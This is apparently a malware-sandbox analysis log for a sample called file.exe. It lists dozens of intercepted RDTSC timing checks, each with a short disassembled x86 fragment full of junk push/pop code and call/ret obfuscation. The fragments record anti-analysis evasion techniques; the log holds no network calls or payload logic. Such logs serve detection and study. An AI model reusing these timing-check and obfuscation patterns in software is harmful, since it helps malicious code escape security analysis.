                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4A6EF4 second address: 4A6F6E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA9551579FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+1246AFFBh], ecx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a or edi, dword ptr [ebp+122D37C0h] 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 push 00000000h 0x00000029 push esi 0x0000002a call 00007FA9551579F8h 0x0000002f pop esi 0x00000030 mov dword ptr [esp+04h], esi 0x00000034 add dword ptr [esp+04h], 00000017h 0x0000003c inc esi 0x0000003d push esi 0x0000003e ret 0x0000003f pop esi 0x00000040 ret 0x00000041 pushad 0x00000042 mov dword ptr [ebp+122D3061h], edi 0x00000048 mov dword ptr [ebp+122D1BF9h], esi 0x0000004e popad 0x0000004f mov dword ptr [ebp+122D31DDh], esi 0x00000055 mov eax, dword ptr [ebp+122D153Dh] 0x0000005b mov bh, 26h 0x0000005d push FFFFFFFFh 0x0000005f stc 0x00000060 nop 0x00000061 push eax 0x00000062 push edx 0x00000063 jno 00007FA9551579FCh 0x00000069 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4A6F6E second address: 4A6F74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4AA2C6 second address: 4AA2CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4AA2CC second address: 4AA336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 nop 0x00000007 jnp 00007FA954E703D1h 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007FA954E703C8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edx 0x0000002e call 00007FA954E703C8h 0x00000033 pop edx 0x00000034 mov dword ptr [esp+04h], edx 0x00000038 add dword ptr [esp+04h], 00000018h 0x00000040 inc edx 0x00000041 push edx 0x00000042 ret 0x00000043 pop edx 0x00000044 ret 0x00000045 xchg eax, esi 0x00000046 pushad 0x00000047 pushad 0x00000048 jnc 00007FA954E703C6h 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4AA4C6 second address: 4AA4D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FA9551579F6h 0x00000011 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4AA4D7 second address: 4AA4DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4AA4DB second address: 4AA4E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4AE438 second address: 4AE43F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4AE43F second address: 4AE45E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA955157A09h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4AFA53 second address: 4AFA59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4AFA59 second address: 4AFA5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4AFA5D second address: 4AFA61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4AFA61 second address: 4AFA8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b and ebx, dword ptr [ebp+122D2EC7h] 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 mov bx, cx 0x00000017 pop edi 0x00000018 push 00000000h 0x0000001a mov edi, 6AA8064Eh 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 jns 00007FA9551579F6h 0x00000029 pop eax 0x0000002a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4AFA8B second address: 4AFA9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA954E703CCh 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4AFCCD second address: 4AFCD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4B7BA1 second address: 4B7BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4B7BA5 second address: 4B7BC6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA9551579F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA955157A05h 0x00000011 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4B7BC6 second address: 4B7BDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA954E703D0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 44DA7F second address: 44DABA instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA955157A04h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007FA9551579FCh 0x0000000f pushad 0x00000010 jmp 00007FA955157A04h 0x00000015 jmp 00007FA9551579FEh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4BDCF6 second address: 4BDD02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FA954E703C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4BDD02 second address: 4BDD06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4BDF8A second address: 4BDFC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FA954E703D0h 0x0000000b jmp 00007FA954E703D4h 0x00000010 jmp 00007FA954E703D1h 0x00000015 popad 0x00000016 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4BDFC6 second address: 4BDFCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4BDFCC second address: 4BDFE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA954E703D5h 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4BDFE5 second address: 4BE009 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jbe 00007FA9551579F6h 0x00000013 jne 00007FA9551579F6h 0x00000019 jmp 00007FA9551579FAh 0x0000001e popad 0x0000001f rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4BE009 second address: 4BE023 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FA954E703D4h 0x0000000b rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4C8F3A second address: 4C8F4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA9551579FBh 0x00000009 js 00007FA9551579F6h 0x0000000f rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4C8F4F second address: 4C8F65 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA954E703CEh 0x0000000d rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4C8F65 second address: 4C8F69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4C91EE second address: 4C91F8 instructions: 0x00000000 rdtsc 0x00000002 js 00007FA954E703C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4C91F8 second address: 4C9202 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FA9551579F6h 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4C9480 second address: 4C94A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a jbe 00007FA954E703C6h 0x00000010 pop eax 0x00000011 pop edi 0x00000012 push ebx 0x00000013 jmp 00007FA954E703CFh 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4CEBB9 second address: 4CEBD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA955157A09h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4CEBD6 second address: 4CEBE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4CEBE0 second address: 4CEBE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4CE022 second address: 4CE049 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA954E703C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FA954E703D4h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 pop ebx 0x00000018 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4CE30C second address: 4CE321 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA955157A01h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4CE321 second address: 4CE32B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4CE32B second address: 4CE34E instructions: 0x00000000 rdtsc 0x00000002 js 00007FA9551579F6h 0x00000008 jmp 00007FA955157A02h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4CE5EA second address: 4CE5EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4CEA4B second address: 4CEA53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D4366 second address: 4D4371 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D4371 second address: 4D4377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D304D second address: 4D3053 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D2D7F second address: 4D2D87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D2D87 second address: 4D2DA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FA954E703D6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D4052 second address: 4D4058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D4058 second address: 4D4071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FA954E703D0h 0x0000000d popad 0x0000000e rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D4071 second address: 4D4076 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D74CE second address: 4D74D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4D74D4 second address: 4D74D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4561F1 second address: 456239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA954E703D0h 0x00000009 jmp 00007FA954E703D1h 0x0000000e popad 0x0000000f jmp 00007FA954E703D8h 0x00000014 push eax 0x00000015 push edx 0x00000016 jo 00007FA954E703C6h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 456239 second address: 45623D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4DE101 second address: 4DE10E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4DE10E second address: 4DE12D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FA955157A03h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 491698 second address: 49169E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 49169E second address: 4916A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 49178A second address: 491790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 491790 second address: 491795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 491795 second address: 4917A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA954E703CEh 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4917A7 second address: 4917E9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ebx 0x0000000d jmp 00007FA9551579FEh 0x00000012 pop ebx 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 push eax 0x00000017 jmp 00007FA955157A00h 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FA9551579FFh 0x00000024 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4919FE second address: 491A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 491AF3 second address: 491AF8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 491C1C second address: 491C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 491C20 second address: 491C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 491C26 second address: 491C48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 491C48 second address: 491C4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 491C4C second address: 491C52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 491C87 second address: 491C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 492007 second address: 49200D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 49200D second address: 492077 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9551579FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnp 00007FA9551579FEh 0x00000010 jc 00007FA9551579F8h 0x00000016 pushad 0x00000017 popad 0x00000018 nop 0x00000019 sub dword ptr [ebp+122D188Dh], edx 0x0000001f push 0000001Eh 0x00000021 push 00000000h 0x00000023 push eax 0x00000024 call 00007FA9551579F8h 0x00000029 pop eax 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e add dword ptr [esp+04h], 0000001Ch 0x00000036 inc eax 0x00000037 push eax 0x00000038 ret 0x00000039 pop eax 0x0000003a ret 0x0000003b mov edi, 64EC05CEh 0x00000040 jc 00007FA9551579F9h 0x00000046 movsx edx, ax 0x00000049 nop 0x0000004a push eax 0x0000004b push edx 0x0000004c js 00007FA9551579FCh 0x00000052 je 00007FA9551579F6h 0x00000058 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 492374 second address: 49239A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007FA954E703D3h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 49239A second address: 49239E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 49239E second address: 4923BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4924A9 second address: 49251A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007FA9551579F8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 movzx edi, cx 0x00000026 lea eax, dword ptr [ebp+12475F61h] 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007FA9551579F8h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 0000001Ah 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 jmp 00007FA955157A06h 0x0000004b nop 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 push ecx 0x00000051 pop ecx 0x00000052 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 49251A second address: 492524 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA954E703C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 492524 second address: 492586 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA9551579FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jbe 00007FA955157A0Fh 0x00000011 jmp 00007FA955157A09h 0x00000016 nop 0x00000017 movsx ecx, bx 0x0000001a mov ecx, dword ptr [ebp+122D323Fh] 0x00000020 lea eax, dword ptr [ebp+12475F1Dh] 0x00000026 push 00000000h 0x00000028 push edx 0x00000029 call 00007FA9551579F8h 0x0000002e pop edx 0x0000002f mov dword ptr [esp+04h], edx 0x00000033 add dword ptr [esp+04h], 00000015h 0x0000003b inc edx 0x0000003c push edx 0x0000003d ret 0x0000003e pop edx 0x0000003f ret 0x00000040 push eax 0x00000041 pushad 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 492586 second address: 49258C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4DE640 second address: 4DE644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4DE644 second address: 4DE654 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007FA954E703C6h 0x00000010 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4DE654 second address: 4DE658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4DE7A8 second address: 4DE7B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FA954E703C6h 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4DE7B2 second address: 4DE7B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4DE916 second address: 4DE938 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D8h 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FA954E703C6h 0x0000000f rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4DEA6B second address: 4DEAAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA955157A07h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f jbe 00007FA9551579F6h 0x00000015 jmp 00007FA955157A04h 0x0000001a popad 0x0000001b pop ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4DEAAD second address: 4DEAC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA954E703CAh 0x00000009 pop edx 0x0000000a jmp 00007FA954E703CCh 0x0000000f rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4DED48 second address: 4DED4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
